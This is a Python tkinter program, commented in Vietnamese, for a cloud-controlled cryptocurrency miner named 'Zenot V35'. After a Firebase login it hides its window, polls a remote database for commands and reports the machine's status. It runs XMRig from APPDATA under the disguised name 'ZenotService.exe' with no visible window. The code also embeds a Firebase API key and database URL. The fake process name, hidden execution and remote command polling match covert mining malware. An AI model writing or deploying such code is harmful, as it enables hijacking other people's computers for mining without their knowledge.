import tkinter as tk import requests, threading, time, os, subprocess, zipfile, shutil, socket # Cấu hình Firebase giữ nguyên như bản trước API_KEY = "AIzaSyBrKWSjYj7x8gUKPXUyHKTidAFtOIa5ul4" DB_URL = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app" MINER_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" FAKE_NAME = "ZenotService.exe" class ZenotV35: def __init__(self, root): self.root = root self.root.title("Zenot V35") self.root.geometry("320x400") self.root.configure(bg="#000") self.worker_id = socket.gethostname() self.uid = None self.current_coin = "IDLE" self.current_cpu = 0 self.setup_ui() def setup_ui(self): tk.Label(self.root, text="ZENOT CLOUD", font=("Arial", 20, "bold"), fg="#00f3ff", bg="#000").pack(pady=30) self.e_mail = tk.Entry(self.root, width=25); self.e_mail.pack(pady=10) self.e_pass = tk.Entry(self.root, width=25, show="*"); self.e_pass.pack(pady=10) tk.Button(self.root, text="CONNECT", bg="#bc13fe", fg="#fff", command=self.login).pack(pady=20) self.lbl_status = tk.Label(self.root, text="Waiting for login...", fg="#444", bg="#000") self.lbl_status.pack() def login(self): email = self.e_mail.get(); pwd = self.e_pass.get() url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}" try: r = requests.post(url, json={"email":email, "password":pwd, "returnSecureToken":True}) if "localId" in r.json(): self.uid = r.json()["localId"] self.lbl_status.config(text="CONNECTED", fg="#00ff88") threading.Thread(target=self.loop, daemon=True).start() self.root.after(2000, self.root.withdraw) # Ẩn sau 2 giây else: self.lbl_status.config(text="LOGIN FAILED", fg="red") except: pass def loop(self): last_ts = 0 while True: try: # Báo cáo lên Web: Online + Coin đang đào + CPU đang dùng requests.patch(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}.json", json={ "last_seen": int(time.time() * 1000), "coin": self.current_coin, "cpu": self.current_cpu }) # Nghe lệnh r = requests.get(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}/command.json") cmd = r.json() if cmd and cmd.get("timestamp", 0) > last_ts: last_ts = cmd["timestamp"] if cmd["action"] == "START": self.current_coin = cmd["coin"] self.current_cpu = cmd["cpu"] self.run_miner(cmd["coin"], cmd["wallet"], cmd["cpu"]) else: self.current_coin = "IDLE"; self.current_cpu = 0 os.system(f"taskkill /f /im {FAKE_NAME}") time.sleep(10) except: time.sleep(20) def run_miner(self, coin, wallet, cpu_limit): # Tải miner... (Code tải file zip tương tự bản cũ) # Chạy lệnh với giới hạn CPU exe = os.path.join(os.getenv('APPDATA'), 'ZenotV35', FAKE_NAME) # Thêm tham số --max-cpu-usage=X để giới hạn CPU args = [exe, '-o', 'rx.unmineable.com:3333', '-u', f'{coin}:{wallet}.{self.worker_id}', '--max-cpu-usage', str(cpu_limit), '--background'] subprocess.Popen(args, creationflags=subprocess.CREATE_NO_WINDOW) if __name__ == "__main__": root = tk.Tk(); ZenotV35(root); root.mainloop()